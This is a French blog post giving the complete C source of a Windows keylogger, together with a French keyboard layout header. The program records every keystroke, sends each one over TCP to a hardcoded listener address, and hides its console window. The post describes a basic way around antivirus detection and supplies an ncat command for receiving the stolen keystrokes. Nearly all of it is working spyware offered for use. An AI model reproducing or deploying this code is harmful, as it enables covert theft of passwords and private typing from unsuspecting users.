Un simple keylogger codé en langage C avec émission sur le réseau des données tapées.





0x01. Technique



La fonction utilisée pour obtenir les touches tapées est la fonction inclue dans windows.h : WINUSERAPI SHORT WINAPI GetKeyState(int);

Chaque touche est retranscrite par une carte du clavier en fonction de la valeur entière retournée par la fonction, les valeurs retournées étant logique : 0 => 0x30, a => 0x61, ...
C'est le fichier layouts.h qui gère ça.

Pour contourner de façon basique les antivirus, une tentative de connexion en locale est tentée sur un serveur récupérant les touches tapées.

Pour réceptionner les données, un simple serveur avec netcat suffit. (http://www.insecure.org)


 
ncat -lp 4444
 




0x02. layout.h


 
#define MAX_LAYOUTS 255
#define MAX_KEYS    255
 
#define FR          33
#define LAYOUT      FR
 
char MAJKEYS[MAX_LAYOUTS][MAX_KEYS];
char ALTKEYS[MAX_LAYOUTS][MAX_KEYS];
char    KEYS[MAX_LAYOUTS][MAX_KEYS];
 
int  KEY_ENTER;
int  KEY_SPACE;
int  KEY_BACKSPACE;
 
void InitLayout()
{
  ALTKEYS[FR][0x30] = '@';  // ALT-GR 0
  ALTKEYS[FR][0x32] = '~';  // ALT-GR 2
  ALTKEYS[FR][0x33] = '#';  // ALT-GR 3
  ALTKEYS[FR][0x34] = '{';  // ALT-GR 4
  ALTKEYS[FR][0x35] = '[';  // ALT-GR 5
  ALTKEYS[FR][0x36] = '|';  // ALT-GR 6
  ALTKEYS[FR][0x37] = '`';  // ALT-GR 7
  ALTKEYS[FR][0x38] = '\\\\'; // ALT-GR 8
  ALTKEYS[FR][0x39] = '^';  // ALT-GR 9
 
 
  ALTKEYS[FR][0xDB] = ']';
  ALTKEYS[FR][0xBB] = '}';
 
 
  MAJKEYS[FR][0x30] = '0';
  MAJKEYS[FR][0x31] = '1';
  MAJKEYS[FR][0x32] = '2';
  MAJKEYS[FR][0x33] = '3';
  MAJKEYS[FR][0x34] = '4';
  MAJKEYS[FR][0x35] = '5';
  MAJKEYS[FR][0x36] = '6';
  MAJKEYS[FR][0x37] = '7';
  MAJKEYS[FR][0x38] = '8';
  MAJKEYS[FR][0x39] = '0';
  MAJKEYS[FR][0xBC] = '?';
  MAJKEYS[FR][0xBB] = '+';
  MAJKEYS[FR][0xBE] = '.';
  MAJKEYS[FR][0xBF] = '/';
  MAJKEYS[FR][0xDB] = '?';
  MAJKEYS[FR][0xE2] = '>';
 
 
     KEYS[FR][0x30] = 'à';
     KEYS[FR][0x31] = '&';
     KEYS[FR][0x32] = 'é';
     KEYS[FR][0x33] = '"';
     KEYS[FR][0x34] = '\\'';
     KEYS[FR][0x35] = '(';
     KEYS[FR][0x36] = '-';
     KEYS[FR][0x37] = 'è';
     KEYS[FR][0x38] = '_';
     KEYS[FR][0x39] = 'ç';
 
     KEYS[FR][0xBA] = '$';
     KEYS[FR][0xC0] = '%';
     KEYS[FR][0xBB] = '=';
     KEYS[FR][0xBE] = ';';
     KEYS[FR][0xBF] = ':';
     KEYS[FR][0xDF] = '!';
     KEYS[FR][0xDB] = ')';
     KEYS[FR][0x6A] = '*';
     KEYS[FR][0x6B] = '+';
     KEYS[FR][0x6D] = '-';
     KEYS[FR][0x6E] = '.';
     KEYS[FR][0x6F] = '/';
     KEYS[FR][0xE2] = '<';
     KEYS[FR][0x08] = 0x08;
 
/* TODO: the same for US, DE, IT, ES keyboards
  ALTKEYS[US][0x30] = '@';
  ALTKEYS[US][0x33] = '#';
  ALTKEYS[US][0x34] = '{';
  ALTKEYS[US][0x35] = '[';
  ALTKEYS[US][0x36] = '|';
  ALTKEYS[US][0x38] = '\\\\';
  ALTKEYS[US][0xDB] = ']';
  ALTKEYS[US][0xBB] = '}';
 
  MAJKEYS[US][0xBC] = '?';
  MAJKEYS[US][0xBE] = '.';
  MAJKEYS[US][0xBF] = '/';
 
     KEYS[US][0x30] = 'à';
     KEYS[US][0x31] = '&';
     KEYS[US][0x32] = 'é';
     KEYS[US][0x33] = '"';
     KEYS[US][0x34] = '\\'';
     KEYS[US][0x35] = '(';
     KEYS[US][0x36] = '-';
     KEYS[US][0x37] = 'è';
     KEYS[US][0x38] = '_';
     KEYS[US][0x39] = 'ç';
 
     KEYS[US][0xBA] = '$';
     KEYS[US][0xC0] = '%';
     KEYS[US][0xBE] = ';';
     KEYS[US][0xBF] = ':';
     KEYS[US][0xDF] = '!';
     KEYS[US][0x6A] = '*';
     KEYS[US][0x6B] = '+';
     KEYS[US][0x6D] = '-';
     KEYS[US][0x6E] = '.';
     KEYS[US][0x6F] = '/';
*/
 
 
  KEY_ENTER     = 0x0D; 
  KEY_SPACE     = 0x20; 
  KEY_BACKSPACE = 0x08;
}




0x03. rlkl.c


 
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 
#include "layouts.h"
int  isALT();                           // Is ALT pressed ?
int  isMAJPressed();                    // Is MAJ pressed ?
int  isAMAJ();                          // Is MAJ used ?
void CaptureKey(int iKeyCode);          // Capture pressed keys
int  MAJ;                               // State of MAJ key
 
#define PORT 81
#define HOST "192.168.101.12"
int CANSEND=1;
int _SendKeys(int _KeyCode, int bSend);
int _TestConnection();
 
#define VERBOSE 1
void HideMe(void);
 
 
 
/*
 * Main
 *
 * Input : -
 * Return: always 0
 *
 */
int main()
{
  int i, iKeyCode, iResult, iLastiResult, iLastLetter, iCount;
 
  iResult=0;
  iCount=0;
  iLastiResult=0;
  i=0;
 
  InitLayout();
  AllocConsole();
  if(!VERBOSE) HideMe();
 
  while( !_TestConnection() ) // While we are not able to connect to server
  {
    if(VERBOSE) printf("\\nWaiting for server to be ready...");
    sleep(1200);              // we wait for server to be ready
  }
  if(VERBOSE) printf("\\nConnected to %s:%d\\nCapturing keystrokes ...\\n\\n"
                     ,HOST,PORT);
 
  while ( 1 )
  {
    sleep(10); 
    for ( iKeyCode=KEY_BACKSPACE ; iKeyCode<=MAX_KEYS ; iKeyCode++ )
    {
      if ( iKeyCode==14 )  iKeyCode=20;  // 
      if ( iKeyCode==21 )  iKeyCode=48;  // Do not record special
      if ( iKeyCode==58 )  iKeyCode=65;  // keys like right-shift or left-arrow
      if ( iKeyCode==91 )  iKeyCode=96;  // 
      if ( iKeyCode==108 ) iKeyCode=109; // 
      if ( iKeyCode==112 ) iKeyCode=186; // 
      if ( iKeyCode==189 ) iKeyCode=190; // 
      if ( iKeyCode==193 ) iKeyCode=219; // 
      if ( iKeyCode==220 ) iKeyCode=221; // 
      if ( iKeyCode==222 ) iKeyCode=223; //  
 
      iResult=GetAsyncKeyState(iKeyCode);
 
      if ( ( iKeyCode==KEY_SPACE ) && ( iResult==0 ) )
        MAJ=0;
      else if ( ( iKeyCode==KEY_SPACE ) && ( iResult==1 ) )
        MAJ=1;
      else if( iResult == -32767 ) // Key is pressed
      {
        CaptureKey(iKeyCode);
        iLastiResult=iResult;
        iLastLetter=iKeyCode;
      }
    }
  }
  return 0;
}
 
 
 
/*
 * Get state of upper/lower letter
 *
 * Input : -
 * Return: 1 if up, 0 else
 *
 */
int isMAJ()
{
  if ( ( ( MAJ  ) && ( !isMAJPressed() ) )
     | ( ( !MAJ ) && (  isMAJPressed() ) ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Get state of MAJ key
 *
 * Input : -
 * Return: 1 if pressed, 0 else
 *
 */
int isMAJPressed()
{
  int iResult;
  iResult=GetKeyState(VK_SHIFT);
  if ( ( iResult==-127 ) | ( iResult==-128 ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Get state of ALT key
 *
 * Input : -
 * Return: 1 if pressed, 0 else
 *
 */
int isALT()
{
  int iResult;
  iResult=GetKeyState(VK_MENU);
  if ( ( iResult==-127 ) | ( iResult==-128 ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Interpret captured key
 *
 * Input : iKeyCode
 * Return: -
 *
 */
void CaptureKey(int iKeyCode)
{
  static char Buffer[11];
  char cKeyChar;
  static int iCount = 0;
  int l;
 
  if ( ( iKeyCode<106 ) && ( iKeyCode>95 ) )
    cKeyChar = iKeyCode-48;
  else
    if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) && ( !isMAJ() ) )
      cKeyChar=iKeyCode+32;
    else
      if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) )
        cKeyChar=iKeyCode;
      else
        if( isALT() )
          cKeyChar = ALTKEYS[LAYOUT][iKeyCode];
        else if ( isMAJ() )
          cKeyChar = MAJKEYS[LAYOUT][iKeyCode];
        else
          cKeyChar = KEYS[LAYOUT][iKeyCode];
 
  if ( iKeyCode == KEY_ENTER )
    cKeyChar='\\n';
 
  _SendKeys(cKeyChar,CANSEND);
  if(VERBOSE) printf("\\n%2X => %c",iKeyCode,cKeyChar);
} 
 
 
 
/*
 * STry to connect to remote server
 *
 * Input : -
 * Return: -
 *
 */
int _TestConnection()
{
 	char strIP [15];
  char buffer [4];
 
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0), &WSAData);
  SOCKET sock;
  SOCKADDR_IN sin;
 
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sin.sin_addr.s_addr = inet_addr(HOST);
  sin.sin_family      = AF_INET;
  sin.sin_port        = htons(PORT);
  CANSEND=1;
  if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) == -1 )
  {
    if(VERBOSE) printf("\\nError: can't connect to %s : %d",HOST,PORT);
    CANSEND=0;
  }
 
  closesocket(sock);
  WSACleanup();
 
  return CANSEND;
}
 
 
 
/*
 * Send key code to remote server defined on top of this source
 * A test is made in order to know if code can be send (bSend)
 *
 * Input : _KeyCode, bSend
 * Return: 0 on success
 *
 */
int _SendKeys(int _KeyCode, int bSend)
{
	char strIP [15];
  char buffer [4];
  short int i;
 
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0), &WSAData);
  SOCKET sock;
  SOCKADDR_IN sin;
 
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sin.sin_addr.s_addr = inet_addr(HOST);
  sin.sin_family      = AF_INET;
  sin.sin_port        = htons(PORT);
 
  if( bSend )
  {
    if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) < 0 )
      return 1;
    else
      send(sock, &_KeyCode, 1, 0);
 
    #ifdef WIN32
    closesocket(sock);
    #else
    close(sock);
    #endif
  }
 
  // if(VERBOSE) printf("%c",_KeyCode);
  return 0;
}
 
 
 
/*
 * Get console handle and hide it.
 *
 * Input : void
 * Return: void
 *
 */
void HideMe(void)
{
  HWND stealth;
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
}
 
 
 



   =>   Écrit par : Nicolas, le 10 décembre 2013


 
Mots clés :  
  system 
  
  backdoor 
    >   Articles connexes :

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS



SSHd as a backdoor



Upload backdoor Web



7579997